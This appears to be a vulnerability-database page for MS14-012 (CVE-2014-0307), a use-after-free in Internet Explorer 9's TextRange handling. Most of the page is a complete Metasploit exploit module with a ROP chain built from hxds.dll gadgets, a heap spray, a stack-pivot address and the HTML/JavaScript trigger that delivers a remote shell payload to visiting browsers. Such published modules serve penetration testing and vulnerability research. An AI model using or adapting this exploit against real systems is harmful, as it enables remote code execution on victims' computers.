MS14-012 Internet Explorer TextRange Use-After-Free

🗓️ 20 Mar 2014 00:00:00Reported by Jason KratzerType

packetstorm🔗 packetstormsecurity.com👁 44 Views

MS14-012 Internet Explorer TextRange Use-After-Free vulnerability found in Internet Explorer. Vulnerable builds range from 9.0.8112.16496 to 9.0.8112.16533

Reporter	Title	Published	Views	Family All 16
0day.today	MS14-012 Internet Explorer TextRange Use-After-Free	22 Mar 201400:00	–	zdt
Circl	CVE-2014-0307	22 Mar 201400:00	–	circl
Check Point Advisories	Microsoft Internet Explorer Memory Corruption (MS14-012; CVE-2014-0307)	23 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2014-0307	12 Mar 201401:00	–	cve
Cvelist	CVE-2014-0307	12 Mar 201401:00	–	cvelist
Exploit DB	Microsoft Internet Explorer - TextRange Use-After-Free (MS14-012) (Metasploit)	22 Mar 201400:00	–	exploitdb
Microsoft KB	MS14-012: Cumulative security update for Internet Explorer: March 11, 2014	11 Mar 201400:00	–	mskb
Metasploit	MS14-012 Microsoft Internet Explorer TextRange Use-After-Free	18 Mar 201422:55	–	metasploit
NVD	CVE-2014-0307	12 Mar 201405:15	–	nvd
OpenVAS	Microsoft Internet Explorer Multiple Memory Corruption Vulnerabilities (2925418)	18 Feb 201400:00	–	openvas

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",  
'Description' => %q{  
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw  
was most likely introduced back in 2013, therefore only certain builds of MSHTML are  
affected. In our testing with IE9, these vulnerable builds appear to be between  
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014  
(before the patch).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jason Kratzer', # Original discovery  
'sinn3r' # Port  
],  
'References' =>  
[  
[ 'CVE', '2014-0307' ],  
[ 'MSB', 'MS14-012' ]  
],  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script/i,  
:os_name => OperatingSystems::WINDOWS,  
:ua_name => HttpClients::IE,  
:office => "2010"  
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now  
},  
'Targets' =>  
[  
[  
'Automatic',  
{  
# mov eax,dword ptr [edx+0C4h]; call eax  
'Pivot' => 0x0c0d1020 # ECX  
}  
]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500  
},  
'DefaultOptions' =>  
{  
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.  
'InitialAutoRunScript' => 'migrate -f'  
},  
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday  
'DefaultTarget' => 0))  
end  
  
# hxds.dll  
def get_payload  
setup =  
[  
0x51C3B376, # rop nop  
0x51C2046E, # pop edi; ret  
0x51BE4A41, # xchg eax, esp; ret  
].pack("V*")  
  
# rop nops  
45.times { setup << [0x51C3B376].pack('V*') }  
  
setup << [  
0x51C2046E, # pop edi ; ret  
0x51BD28D4 # mov eax, [ecx], call [eax+8]  
].pack('V*')  
  
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})  
  
Rex::Text.to_unescape(p)  
end  
  
def exploit_html  
template = %Q|<!DOCTYPE html>  
<html>  
<head>  
<meta http-equiv='Cache-Control' content='no-cache'/>  
<meta http-equiv="X-UA-Compatible" content="IE=edge" >  
<script>  
<%=js_property_spray%>  
sprayHeap({shellcode:unescape("<%=get_payload%>")});  
  
function hxds() {  
try {  
location.href = 'ms-help:';  
} catch(e) {}  
}  
  
function strike() {  
hxds();  
var fake = "";  
for (var i = 0; i < 12; i++) {  
if (i==0) {  
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");  
}  
else {  
fake += "\\u4141\\u4141";  
}  
}  
  
var elements = [  
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',  
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'  
];  
  
for (var i = 0; i < elements.length; i++) {  
var element = document.createElement(elements[i]);  
document.body.appendChild(element);  
}  
  
var tRange = document.body.createTextRange();  
tRange.moveToElementText(document.body.children[16]);  
tRange.execCommand('InsertInputSubmit', true, null);  
tRange.moveToElementText(document.body.children[0]);  
tRange.moveEnd('character',4);  
tRange.execCommand('InsertOrderedList', true, null);  
tRange.select();  
tRange.moveToElementText(document.body.children[0]);  
tRange.moveEnd('character',13);  
tRange.execCommand('Underline', true, null);  
tRange.execCommand('RemoveFormat', true, null);  
var fillObject = document.createElement('button');  
fillObject.className = fake;  
}  
</script>  
</head>  
<body onload='strike();'></body>  
</html>  
|  
  
return template, binding()  
end  
  
def on_request_exploit(cli, request, target_info)  
send_exploit_html(cli, exploit_html)  
end  
  
end  
`

20 Mar 2014 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.86385